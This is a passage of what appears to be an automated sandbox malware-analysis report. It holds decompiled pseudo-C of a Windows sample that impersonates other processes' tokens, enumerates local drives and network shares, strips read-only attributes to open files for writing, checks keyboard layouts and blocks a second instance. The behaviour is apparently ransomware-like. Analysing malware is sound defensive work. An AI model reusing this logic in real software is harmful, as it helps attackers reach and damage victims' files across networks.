              						}
              						__eflags =  *0x23635c4; // 0x1
              						if(__eflags != 0) {
              							E023586E6(_t92, __eflags,  &_v84);
              						}
              						L27:
              						_t51 =  *0x2363054; // 0x0
              						__eflags = _t51 - _v48;
              						if(__eflags > 0) {
              							L32:
              							E02357E44( &_v36, 0x2363044); // executed
              							__eflags = 0;
              							_t53 = 1;
              							L33:
              							return _t53;
              						}
              						if(__eflags >= 0) {
              							L31:
              							_t51 =  *0x2363050; // 0x4a
              							__eflags = _t51 - _v52;
              							if(_t51 < _v52) {
              								do {
              									goto L29;
              								} while (__eflags < 0);
              								if(__eflags > 0) {
              									goto L32;
              								}
              								goto L31;
              							}
              							goto L32;
              						}
              						L29:
              						E02355FC7(_t51, 0x64);
              						_t51 =  *0x2363054; // 0x0
              						__eflags = _t51 - _v48;
              					}
              					PathRemoveBackslashW(_t114);
              					_t60 = PathIsDirectoryW(_t114);
              					_push(_t114);
              					__eflags = _t60;
              					if(_t60 == 0) {
              						_t61 = PathIsNetworkPathW();
              						__eflags = _t61;
              						if(_t61 == 0) {
              							goto L2;
              						}
              						_t65 =  *0x2362794(_t114, _t110,  &_v16, 0xffffffff,  &_v8,  &_v24, 0);
              						__eflags = _t65;
              						if(_t65 != 0) {
              							goto L2;
              						}
              						PathAddBackslashW(_t114);
              						_t91 = _v16;
              						_t67 = E02355174(0x800);
              						_t98 = _v8;
              						_t111 = _t67;
              						_t68 = 0;
              						_v12 = 0;
              						__eflags = _t98;
              						if(_t98 == 0) {
              							L22:
              							 *0x2362898(_v16);
              							goto L27;
              						} else {
              							goto L19;
              						}
              						do {
              							L19:
              							__eflags =  *(_t91 + 4) & 0x00000003;
              							if(__eflags == 0) {
              								E02356878(__eflags, _t111, _t114);
              								PathAddBackslashW(_t111);
              								E02356878(__eflags, _t111,  *_t91);
              								PathAddBackslashW(_t111);
              								E02358122(_t111,  &_v84);
              								E023551FB(_t111, 0, 0x800);
              								_t98 = _v8;
              								_t116 = _t116 + 0x14;
              								_t68 = _v12;
              							}
              							_t68 = _t68 + 1;
              							_t91 = _t91 + 0xc;
              							_v12 = _t68;
              							__eflags = _t68 - _t98;
              						} while (_t68 < _t98);
              						goto L22;
              					}
              					PathAddBackslashW();
              					E02358122(_t114,  &_v84);
              					E023551C1(_t114);
              					goto L27;
              				}
              				_t112 = E02355438( &_v20);
              				if(_t82 != 0) {
              					__eflags = _v20 - 2;
              					if(_v20 > 2) {
              						_t104 =  *0x23635bc; // 0x0
              						__eflags = _t104;
              						_t83 =  *0x2363598; // 0x0
              						_t107 = 1;
              						_t84 =  !=  ? _t107 : _t83;
              						 *0x2363598 =  !=  ? _t107 : _t83;
              						__eflags =  *0x23635c0; // 0x0
              						if(__eflags == 0) {
              							L7:
              							_t114 = E02355174(0x208);
              							__eflags = _t114;
              							if(_t114 == 0) {
              								goto L4;
              							}
              							E0235695A(_t114,  *((intOrPtr*)(_t112 + 8)));
              							E0235542A(_t112);
              							_t89 = E02356A03(_t114);
              							_t115 = _t115 + 0x10;
              							_t110 = 1;
              							_t92 =  *(_t114 + _t89 * 2 - 2) & 0x0000ffff;
              							_t108 = 0x5c;
              							__eflags = _t92 - _t108;
              							if(__eflags != 0) {
              								__eflags = _t92 - 0x22;
              								if(__eflags != 0) {
              									_t114[_t89] = _t108;
              								} else {
              									 *(_t114 + _t89 * 2 - 2) = _t108;
              								}
              							}
              							goto L12;
              						}
              						 *0x2363598 = 0;
              						__eflags = _t104;
              						if(_t104 != 0) {
              							goto L2;
              						}
              						goto L7;
              					}
              					L4:
              					E0235542A(_t112);
              					_t53 = 0;
              					goto L33;
              				}
              				goto L2;
              			}










































              0x02353904
              0x02353905
              0x02353907
              0x0235390d
              0x023539b0
              0x023539b9
              0x023539c1
              0x023539c7
              0x023539cd
              0x023539d3
              0x023539d9
              0x023539de
              0x023539e1
              0x023539e3
              0x02353923
              0x00000000
              0x02353923
              0x023539ec
              0x023539ef
              0x023539f6
              0x023539fd
              0x02353a00
              0x02353a03
              0x02353a06
              0x02353a09
              0x02353a0c
              0x02353a0f
              0x02353a16
              0x02353a1d
              0x02353a23
              0x02353b07
              0x02353b0d
              0x02353b13
              0x02353b18
              0x02353b18
              0x02353b19
              0x02353b1f
              0x02353b25
              0x02353b25
              0x02353b2a
              0x02353b2a
              0x02353b2f
              0x02353b32
              0x02353b54
              0x02353b5d
              0x02353b62
              0x02353b65
              0x02353b68
              0x00000000
              0x02353b68
              0x02353b34
              0x02353b4a
              0x02353b4a
              0x02353b4f
              0x02353b52
              0x02353b36
              0x00000000
              0x00000000
              0x02353b48
              0x00000000
              0x00000000
              0x00000000
              0x02353b48
              0x00000000
              0x02353b52
              0x02353b36
              0x02353b38
              0x02353b3d
              0x02353b43
              0x02353b43
              0x02353a2a
              0x02353a31
              0x02353a37
              0x02353a38
              0x02353a3a
              0x02353a5a
              0x02353a60
              0x02353a62
              0x00000000
              0x00000000
              0x02353a79
              0x02353a7f
              0x02353a81
              0x00000000
              0x00000000
              0x02353a88
              0x02353a8e
              0x02353a96
              0x02353a9c
              0x02353a9f
              0x02353aa1
              0x02353aa3
              0x02353aa6
              0x02353aa8
              0x02353afc
              0x02353aff
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x02353aaa
              0x02353aaa
              0x02353aaa
              0x02353aae
              0x02353ab2
              0x02353aba
              0x02353ac3
              0x02353acb
              0x02353ad6
              0x02353ae3
              0x02353ae8
              0x02353aeb
              0x02353aee
              0x02353aee
              0x02353af1
              0x02353af2
              0x02353af5
              0x02353af8
              0x02353af8
              0x00000000
              0x02353aaa
              0x02353a3c
              0x02353a47
              0x02353a4d
              0x00000000
              0x02353a52
              0x0235391c
              0x02353921
              0x0235392a
              0x0235392e
              0x0235393d
              0x02353943
              0x02353945
              0x0235394c
              0x0235394d
              0x02353950
              0x02353955
              0x0235395b
              0x02353967
              0x02353971
              0x02353974
              0x02353976
              0x00000000
              0x00000000
              0x0235397c
              0x02353982
              0x02353988
              0x0235398d
              0x02353992
              0x02353993
              0x0235399a
              0x0235399b
              0x0235399e
              0x023539a0
              0x023539a3
              0x023539ac
              0x023539a5
              0x023539a5
              0x023539a5
              0x023539a3
              0x00000000
              0x0235399e
              0x0235395d
              0x02353963
              0x02353965
              0x00000000
              0x00000000
              0x00000000
              0x02353965
              0x02353930
              0x02353931
              0x02353936
              0x00000000
              0x02353936
              0x00000000

              APIs
              • PathRemoveBackslashW.SHLWAPI(00000000,?,?,?,00000000), ref: 02353A2A
              • PathIsDirectoryW.SHLWAPI(00000000), ref: 02353A31
              • PathAddBackslashW.SHLWAPI(00000000,?,?,?,00000000), ref: 02353A3C
                • Part of subcall function 02355438: GetCommandLineW.KERNEL32(0000000E,?,023513EA,?,0000000A,02361278,?,?,02351BA5,?,02361278,0000002F,0000000E,0000000C,?,02361278), ref: 0235543E
                • Part of subcall function 02355438: CommandLineToArgvW.SHELL32(00000000,?,023513EA,?,0000000A,02361278,?,?,02351BA5,?,02361278,0000002F,0000000E,0000000C,?,02361278), ref: 02355445
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Path$BackslashCommandLine$ArgvDirectoryRemove
              • String ID:
              • API String ID: 1603908121-0
              • Opcode ID: ffc90ce65d0fbf4bb6f5254df5c577081e142eaca65323bf3fb931c5a5827cd6
              • Instruction ID: 6d127903c60c79340969cb0c6bba089493de0bc236da411ab26b723fde3a4769
              • Opcode Fuzzy Hash: ffc90ce65d0fbf4bb6f5254df5c577081e142eaca65323bf3fb931c5a5827cd6
              • Instruction Fuzzy Hash: 7861C2F1D40624ABDB20EFA5D888EAEB7BDFF09754F4084ADED0AA6140DB309555CF21
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              C-Code - Quality: 91%
              			E023586E6(void* __ecx, void* __eflags, intOrPtr _a4) {
              				void* _v8;
              				void* _v12;
              				short _v14;
              				char _v28;
              				short _v32;
              				char _v56;
              				void* __ebx;
              				long _t22;
              				void* _t25;
              				void* _t31;
              				int _t32;
              				signed int _t35;
              				signed int _t36;
              				int _t51;
              				void* _t57;
              				intOrPtr _t63;
              				void* _t64;
              				void* _t65;
              
              				_t57 = __ecx;
              				E02356595(0x23628c0, 0x4d5, 0xc, 0x18,  &_v56);
              				_v32 = 0;
              				_t22 = E02355815(_t57,  &_v56); // executed
              				_t64 = OpenProcess(0x2000000, 0, _t22);
              				if(_t64 == 0) {
              					L4:
              					E02357B9D(_t57, _t73); // executed
              					_t25 = E02355174(0xfffe);
              					_t65 = _t25;
              					if(_t65 == 0) {
              						return _t25;
              					}
              					E02356595(0x23628c0, 0xbf, 0xd, 0xe,  &_v28);
              					_v14 = 0;
              					E0235695A(_t65,  &_v28);
              					_t63 = _a4;
              					while(1) {
              						_t31 = 0x5a;
              						_push(_t65);
              						if( *(_t65 + 8) > _t31) {
              							break;
              						}
              						_t32 = GetDriveTypeW(); // executed
              						__eflags = _t32 - 4;
              						if(_t32 == 4) {
              							 *0x2363040 = 0;
              							E02358122(_t65, _t63);
              							_t35 =  *(_t65 + 8) & 0x0000ffff;
              							__eflags = _t35 - 0x61;
              							if(_t35 >= 0x61) {
              								__eflags = _t35 - 0x7a;
              								if(_t35 <= 0x7a) {
              									_t36 = _t35 & 0x0000ffdf;
              									__eflags = _t36;
              									 *(_t65 + 8) = _t36;
              								}
              							}
              						}
              						 *(_t65 + 8) =  *(_t65 + 8) + 1;
              						__eflags = 0;
              						 *((short*)(_t65 + 0xe)) = 0;
              					}
              					E023551C1(); // executed
              					E02358584(_t63, 1, 0); // executed
              					E02358584(_t63, 5, 0); // executed
              					E02358584(_t63, 2, 0); // executed
              					RevertToSelf();
              					E02357FC1(0, 0); // executed
              					E02358584(_t63, 1, 0); // executed
              					E02358584(_t63, 5, 0); // executed
              					E02358584(_t63, 3, 0); // executed
              					E02358584(_t63, 2, 0); // executed
              					E02358584(_t63, 4, 0); // executed
              					return 1;
              				}
              				_t51 = OpenProcessToken(_t64, 6,  &_v8);
              				_t73 = _t51;
              				if(_t51 == 0) {
              					E02355416(_t64);
              				}
              				DuplicateToken(_v8, 2,  &_v12);
              				E02357FC1(0, _v12); // executed
              				_pop(_t57); // executed
              				goto L4;
              			}





















              0x023586e6
              0x02358702
              0x02358709
              0x02358711
              0x02358728
              0x0235872c
              0x0235875e
              0x0235875e
              0x02358768
              0x0235876d
              0x02358772
              0x0235884f
              0x0235884f
              0x02358786
              0x0235878d
              0x02358796
              0x0235879b
              0x023587de
              0x023587e0
              0x023587e1
              0x023587e6
              0x00000000
              0x00000000
              0x023587a3
              0x023587a9
              0x023587ac
              0x023587b0
              0x023587b6
              0x023587bb
              0x023587c1
              0x023587c4
              0x023587c6
              0x023587c9
              0x023587cb
              0x023587cb
              0x023587d0
              0x023587d0
              0x023587c9
              0x023587c4
              0x023587d4
              0x023587d8
              0x023587da
              0x023587da
              0x023587e8
              0x023587f1
              0x023587fa
              0x02358803
              0x02358808
              0x0235880e
              0x02358817
              0x02358820
              0x0235882c
              0x02358835
              0x0235883e
              0x00000000
              0x02358848
              0x02358735
              0x0235873b
              0x0235873d
              0x02358740
              0x02358745
              0x0235874f
              0x02358758
              0x0235875d
              0x00000000

              APIs
              • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,00000001,00000000,00000000), ref: 02358722
              • OpenProcessToken.ADVAPI32(00000000,00000006,?,?,?,?,00000001,00000000,00000000), ref: 02358735
              • DuplicateToken.ADVAPI32(?,00000002,02353B2A,?,?,?,00000001,00000000,00000000), ref: 0235874F
              • GetDriveTypeW.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 023587A3
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              • RevertToSelf.ADVAPI32(02353B2A,00000002,00000000,02353B2A,00000005,00000000,02353B2A,00000001,00000000,00000000), ref: 02358808
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: OpenProcessToken$CloseDriveDuplicateHandleRevertSelfType
              • String ID:
              • API String ID: 529401157-0
              • Opcode ID: b4d63f821ef63067488198a4836203d98a72c836fa8f40ccc31fca2ed993c817
              • Instruction ID: 6883b8ac99990cdb375b449399392b6cbf676e6dd3e88e038b399b52899ea14d
              • Opcode Fuzzy Hash: b4d63f821ef63067488198a4836203d98a72c836fa8f40ccc31fca2ed993c817
              • Instruction Fuzzy Hash: D131D8A1A4022979F63177B0DC86FBF726EDF01B54F144826FE09B90C0EB649E814B71
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 392 23547d8-23547ec call 2358b60 SetErrorMode call 2351513 397 23547ee-23547f5 392->397 398 235481a 392->398 399 23547f7-23547fe call 23558fe 397->399 400 2354808-235480f 397->400 401 235481c-2354821 call 23554af 398->401 399->400 411 2354800-2354807 call 23554af 399->411 403 2354811-2354818 call 2354893 400->403 404 2354822-235482f call 2355b02 400->404 401->404 403->401 413 2354836-235483d 404->413 414 2354831 call 2357c2b 404->414 411->400 417 2354874-2354880 call 2353db7 call 2358b5f 413->417 418 235483f-2354846 call 23559ce 413->418 414->413 425 2354866-235486d 418->425 426 2354848-2354864 MessageBoxW call 23554af 418->426 425->417 429 235486f call 2357d2b 425->429 426->417 429->417
              C-Code - Quality: 80%
              			E023547D8(void* __ecx, void* __edi, void* __eflags) {
              				void* _t3;
              				void* _t5;
              				void* _t8;
              				void* _t14;
              				void* _t18;
              
              				_t18 = __edi;
              				_t14 = __ecx;
              				L02358B60();
              				SetErrorMode(1); // executed
              				_t3 = E02351513(); // executed
              				if(_t3 == 0) {
              					_push(1);
              					L7:
              					E023554AF();
              					L8:
              					if(E02355B02() >= 0x600) {
              						E02357C2B();
              					}
              					if( *0x23635cc == 0) {
              						_t8 = E023559CE(); // executed
              						_t26 = _t8;
              						if(_t8 == 0) {
              							__eflags =  *0x23635b8;
              							if(__eflags != 0) {
              								E02357D2B(); // executed
              							}
              						} else {
              							MessageBoxW(0, L"ERR0R D0UBLE RUN!", L"-Err-", 0x10);
              							E023554AF(1);
              							_pop(0x600);
              						}
              					}
              					_t5 = E02353DB7(0x600, _t18, _t26); // executed
              					E02358B5F(_t5);
              					return 0;
              				}
              				_t21 =  *0x23635b4;
              				if( *0x23635b4 == 0 && E023558FE(_t14, _t21) != 0) {
              					E023554AF(0);
              				}
              				_t23 =  *0x23635d8;
              				if( *0x23635d8 == 0) {
              					goto L8;
              				}
              				E02354893(_t23);
              				_push(0);
              				goto L7;
              			}








              0x023547d8
              0x023547d8
              0x023547d8
              0x023547df
              0x023547e5
              0x023547ec
              0x0235481a
              0x0235481c
              0x0235481c
              0x02354822
              0x0235482f
              0x02354831
              0x02354831
              0x0235483d
              0x0235483f
              0x02354844
              0x02354846
              0x02354866
              0x0235486d
              0x0235486f
              0x0235486f
              0x02354848
              0x02354856
              0x0235485e
              0x02354863
              0x02354863
              0x02354846
              0x02354874
              0x02354879
              0x02354880
              0x02354880
              0x023547ee
              0x023547f5
              0x02354802
              0x02354807
              0x02354808
              0x0235480f
              0x00000000
              0x00000000
              0x02354811
              0x02354816
              0x00000000

              APIs
              • SetErrorMode.KERNELBASE(00000001,0235488A,00000000), ref: 023547DF
              • MessageBoxW.USER32(00000000,ERR0R D0UBLE RUN!,-Err-,00000010), ref: 02354856
                • Part of subcall function 023558FE: GetKeyboardLayoutList.USER32(00000000,00000000,00000001,00000000,02361278,?,?,02351A80), ref: 02355911
                • Part of subcall function 023558FE: GetKeyboardLayoutList.USER32(00000000,00000000,?,?,02351A80), ref: 02355931
                • Part of subcall function 023554AF: ExitProcess.KERNEL32 ref: 023554B5
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: KeyboardLayoutList$ErrorExitMessageModeProcess
              • String ID: -Err-$ERR0R D0UBLE RUN!
              • API String ID: 1549214999-2540690572
              • Opcode ID: 99de6648ff58592b2d9748701454b4594e56ad922e0a8adae1cea25f342447c5
              • Instruction ID: 64e27282a37a683cf4949b70ee455b8e83e5b2a0fb8d2c8136bfe394e6df593b
              • Opcode Fuzzy Hash: 99de6648ff58592b2d9748701454b4594e56ad922e0a8adae1cea25f342447c5
              • Instruction Fuzzy Hash: AF018BB0A803F169EAB83EB19819F58215A5B10F56F009826EF4E660C09FBA90D4CD27
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 498 235351e-2353547 call 235834d 501 2353560-2353569 498->501 502 2353549-235354c 498->502 505 2353575-2353587 call 2357f62 501->505 506 235356b 501->506 503 235354e 502->503 504 2353589-23535a9 call 235838c call 2358373 502->504 508 2353550-2353557 503->508 509 2353559-235355f call 2355416 503->509 519 23535ae-23535b3 504->519 518 2353607-235360b 505->518 510 2353572 506->510 511 235356d-2353570 506->511 508->504 508->509 509->501 510->505 511->505 511->510 520 23535e6-23535ee RtlGetLastWin32Error 518->520 521 235360d-235362c 518->521 522 23535b5-23535bc 519->522 523 23535be 519->523 525 23535f0-2353604 call 2355fc7 call 2357f62 520->525 526 23535df-23535e1 520->526 524 235369b-23536b2 call 2358073 521->524 522->523 527 23535c0-23535c9 call 2355416 522->527 523->527 536 235362e-235363e RtlGetLastWin32Error 524->536 537 23536b8-23536be call 23536c8 524->537 525->518 529 23536c1-23536c7 526->529 527->501 541 23535cb-23535dd call 2357118 527->541 539 2353640-2353643 536->539 540 2353673-235367d call 2357f76 536->540 552 23536c0 537->552 543 2353645-2353651 call 2357c7a 539->543 544 235367f-2353682 539->544 540->552 541->501 541->526 543->537 557 2353653-235365d GetFileAttributesW 543->557 548 2353684-2353696 call 23561ed call 2355fc7 544->548 549 2353697-2353699 544->549 548->549 549->524 552->529 557->540 559 235365f-2353661 557->559 559->549 561 2353663-2353671 SetFileAttributesW 559->561 561->540 561->549
              C-Code - Quality: 70%
              			E0235351E(signed int __edx, void* __eflags, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
              				signed int _v8;
              				intOrPtr _v24;
              				char _v64;
              				char _v240;
              				void* __ebx;
              				void* __esi;
              				void* _t26;
              				void* _t28;
              				long _t29;
              				void* _t34;
              				long _t35;
              				void* _t37;
              				void* _t38;
              				signed int _t40;
              				signed char _t42;
              				int _t43;
              				signed int _t47;
              				void* _t50;
              				intOrPtr _t53;
              				WCHAR* _t54;
              				signed int _t57;
              				signed int _t67;
              				signed int _t69;
              				void* _t72;
              				void* _t73;
              				intOrPtr* _t74;
              				intOrPtr _t77;
              				intOrPtr _t79;
              
              				_t66 = __edx;
              				_t69 = 1;
              				_t26 = E0235834D(_a8, 0x80000000, 1, 3, 0); // executed
              				_t71 = _t26;
              				_t74 = _t73 + 0x14;
              				if(_t26 == 0) {
              					L5:
              					_t79 = _a16;
              					_t53 = 0x100000;
              					if(_t79 <= 0 && (_t79 < 0 || _a12 < 0x100000)) {
              						_t53 = _a12;
              					}
              					_t70 = _a4;
              					_t8 = _t53 + 0x160; // 0x100160
              					_t28 = E02357F62(_a4, _t8); // executed
              					while(1) {
              						_t72 = _t28;
              						if(_t72 != 0) {
              							break;
              						}
              						_t29 = RtlGetLastWin32Error();
              						__eflags = _t29 - 8;
              						if(_t29 != 8) {
              							L15:
              							return 0;
              						}
              						E02355FC7(_t29, 0x64);
              						_t14 = _t53 + 0x160; // 0x100160
              						_t28 = E02357F62(_t70, _t14);
              						_t74 = _t74 + 0xc;
              					}
              					_t57 = 3;
              					 *((intOrPtr*)(_t72 + 0x158)) = _t53;
              					_t54 = _a8;
              					_push(_t57);
              					 *((intOrPtr*)(_t72 + 0x154)) = 0;
              					 *((intOrPtr*)(_t72 + 0x150)) = 0;
              					_v8 = _t57;
              					_push(0);
              					while(1) {
              						_push(0xc0000000);
              						_push(_a16);
              						_push(_a12);
              						_push(_t54);
              						_push(_t72); // executed
              						_t34 = E02358073(); // executed
              						_t74 = _t74 + 0x1c;
              						_t82 = _t34;
              						if(_t34 != 0) {
              							break;
              						}
              						_t35 = RtlGetLastWin32Error();
              						_t67 = _v8;
              						_t58 = _t67;
              						_t66 = _t67 - 1;
              						_v8 = _t67 - 1;
              						__eflags = _t67;
              						if(_t67 == 0) {
              							L26:
              							E02357F76(_t70, _t72);
              							_t37 = 0;
              							L32:
              							return _t37;
              						}
              						__eflags = _t35 - 5;
              						if(_t35 != 5) {
              							__eflags = _t35 - 0x20;
              							if(__eflags == 0) {
              								_t38 = E023561ED(_t54, _t58, _t66, _t72, __eflags, _t54);
              								 *_t74 = 0x3e8;
              								E02355FC7(_t38);
              							}
              							L29:
              							_push(3);
              							_push(0);
              							continue;
              						}
              						_t40 = E02357C7A(_t58, _t54, 0); // executed
              						__eflags = _t40;
              						if(__eflags == 0) {
              							break;
              						}
              						_t42 = GetFileAttributesW(_t54); // executed
              						__eflags = _t42 - 0xffffffff;
              						if(_t42 == 0xffffffff) {
              							goto L26;
              						}
              						__eflags = _t42 & 0x00000001;
              						if((_t42 & 0x00000001) == 0) {
              							goto L29;
              						}
              						_t43 = SetFileAttributesW(_t54, 0x80); // executed
              						__eflags = _t43;
              						if(_t43 != 0) {
              							goto L29;
              						}
              						goto L26;
              					}
              					E023536C8(_t66, _t82, _t72);
              					_t37 = _t72;
              					goto L32;
              				}
              				_t77 = _a16;
              				if(_t77 > 0 || _t77 >= 0 && _a12 >= 0xe8) {
              					E0235838C(_t71, 0xffffff18, 0xffffffff, 2); // executed
              					_t47 = E02358373(_t71,  &_v240, 0xe8,  &_v8); // executed
              					_t74 = _t74 + 0x20;
              					__eflags = _t47;
              					if(_t47 == 0) {
              						L12:
              						_t69 = 0;
              						L13:
              						E02355416(_t71);
              						__eflags = _t69;
              						if(_t69 == 0) {
              							goto L5;
              						}
              						_t50 = E02357118(0,  &_v64, 0x20);
              						_t74 = _t74 + 0xc;
              						__eflags = _v24 - _t50;
              						if(_v24 != _t50) {
              							goto L5;
              						}
              						goto L15;
              					}
              					__eflags = _v8 - 0xe8;
              					if(_v8 == 0xe8) {
              						goto L13;
              					}
              					goto L12;
              				} else {
              					E02355416(_t71);
              					goto L5;
              				}
              			}































              0x0235351e
              0x02353531
              0x0235353b
              0x02353540
              0x02353542
              0x02353547
              0x02353560
              0x02353560
              0x02353564
              0x02353569
              0x02353572
              0x02353572
              0x02353575
              0x02353578
              0x02353580
              0x02353607
              0x02353607
              0x0235360b
              0x00000000
              0x00000000
              0x023535e6
              0x023535eb
              0x023535ee
              0x023535df
              0x00000000
              0x023535df
              0x023535f2
              0x023535f7
              0x023535ff
              0x02353604
              0x02353604
              0x0235360f
              0x02353612
              0x02353618
              0x0235361b
              0x0235361c
              0x02353622
              0x02353628
              0x0235362b
              0x0235369b
              0x0235369b
              0x023536a0
              0x023536a3
              0x023536a6
              0x023536a7
              0x023536a8
              0x023536ad
              0x023536b0
              0x023536b2
              0x00000000
              0x00000000
              0x0235362e
              0x02353633
              0x02353636
              0x02353638
              0x02353639
              0x0235363c
              0x0235363e
              0x02353673
              0x02353675
              0x0235367b
              0x023536c0
              0x00000000
              0x023536c0
              0x02353640
              0x02353643
              0x0235367f
              0x02353682
              0x02353685
              0x0235368a
              0x02353691
              0x02353696
              0x02353697
              0x02353697
              0x02353699
              0x00000000
              0x02353699
              0x02353648
              0x0235364f
              0x02353651
              0x00000000
              0x00000000
              0x02353654
              0x0235365a
              0x0235365d
              0x00000000
              0x00000000
              0x0235365f
              0x02353661
              0x00000000
              0x00000000
              0x02353669
              0x0235366f
              0x02353671
              0x00000000
              0x00000000
              0x00000000
              0x02353671
              0x023536b9
              0x023536be
              0x00000000
              0x023536be
              0x02353549
              0x0235354c
              0x02353593
              0x023535a9
              0x023535ae
              0x023535b1
              0x023535b3
              0x023535be
              0x023535be
              0x023535c0
              0x023535c1
              0x023535c7
              0x023535c9
              0x00000000
              0x00000000
              0x023535d2
              0x023535d7
              0x023535da
              0x023535dd
              0x00000000
              0x00000000
              0x00000000
              0x023535dd
              0x023535b5
              0x023535bc
              0x00000000
              0x00000000
              0x00000000
              0x02353559
              0x0235355a
              0x00000000
              0x0235355f

              APIs
                • Part of subcall function 0235834D: CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,0235479B,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 02358363
              • RtlGetLastWin32Error.NTDLL ref: 023535E6
              • RtlGetLastWin32Error.NTDLL ref: 0235362E
              • GetFileAttributesW.KERNELBASE(?), ref: 02353654
              • SetFileAttributesW.KERNELBASE(?,00000080), ref: 02353669
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: File$AttributesErrorLastWin32$Create
              • String ID:
              • API String ID: 1515811453-0
              • Opcode ID: b6f81316035e70f67f3f0eb2a5a22771154d79c20e46404fe55aa1d284213583
              • Instruction ID: ce0e95d65a70a0a79f9ecf73ef32039223f4e69fafdc9a7ab26bb08514987f16
              • Opcode Fuzzy Hash: b6f81316035e70f67f3f0eb2a5a22771154d79c20e46404fe55aa1d284213583
              • Instruction Fuzzy Hash: 0041F771905329BBDB30AE64DC84FAF72ADDF44394F14496DFD0DE6280EB30DA418AA5
              Uniqueness

              Uniqueness Score: -1.00%

              Control-flow Graph

              • Executed
              • Not Executed
              control_flow_graph 562 2358584-23585a2 WNetOpenEnumW 563 23585a4-23585a6 562->563 564 23585ab-23585c3 call 2355174 562->564 566 23586e1-23586e5 563->566 568 23585d5 564->568 569 23585c5-23585d0 WNetCloseEnum 564->569 571 23585d6-23585ed WNetEnumResourceW 568->571 570 23586e0 569->570 570->566 572 23585f3-23585f9 571->572 573 23586bf-23586c4 571->573 572->571 574 23585fb 572->574 573->571 575 23586ca-23586cb call 23551c1 573->575 576 23585fe-2358602 574->576 580 23586d0-23586df WNetCloseEnum 575->580 578 2358604-2358606 576->578 579 2358638-235863c 576->579 583 2358623-235862d call 2358584 578->583 584 2358608-235860c 578->584 581 23586ac-23586b6 579->581 582 235863e-235864d call 2355174 579->582 580->570 581->576 586 23586bc 581->586 593 23586a6-23586a9 582->593 594 235864f-23586a3 call 2356595 call 235695a call 2356878 * 2 call 2358122 call 23551c1 582->594 589 2358632 583->589 584->579 587 235860e-2358611 584->587 586->573 587->579 591 2358613-2358621 call 23568f9 587->591 592 2358635 589->592 591->583 591->592 592->579 593->581 594->593
              C-Code - Quality: 98%
              			E02358584(int _a4, int _a8, struct _NETRESOURCE* _a12) {
              				struct _NETRESOURCE* _v8;
              				int _v12;
              				void* _v16;
              				int _v20;
              				struct _NETRESOURCE* _v24;
              				short _v26;
              				char _v40;
              				int _t36;
              				void* _t38;
              				struct _NETRESOURCE* _t41;
              				signed int _t43;
              				struct _NETRESOURCE* _t45;
              				struct _NETRESOURCE* _t60;
              				void* _t64;
              				struct _NETRESOURCE* _t71;
              				struct _NETRESOURCE* _t72;
              				struct _NETRESOURCE** _t74;
              				void* _t76;
              
              				_t71 = _a12;
              				_t36 = WNetOpenEnumW(_a8, 0, 0, _t71,  &_v16); // executed
              				if(_t36 == 0) {
              					_v12 = _v12 | 0xffffffff;
              					_v20 = 0x4000;
              					_t38 = E02355174(0x4000); // executed
              					_t64 = _t38;
              					__eflags = _t64;
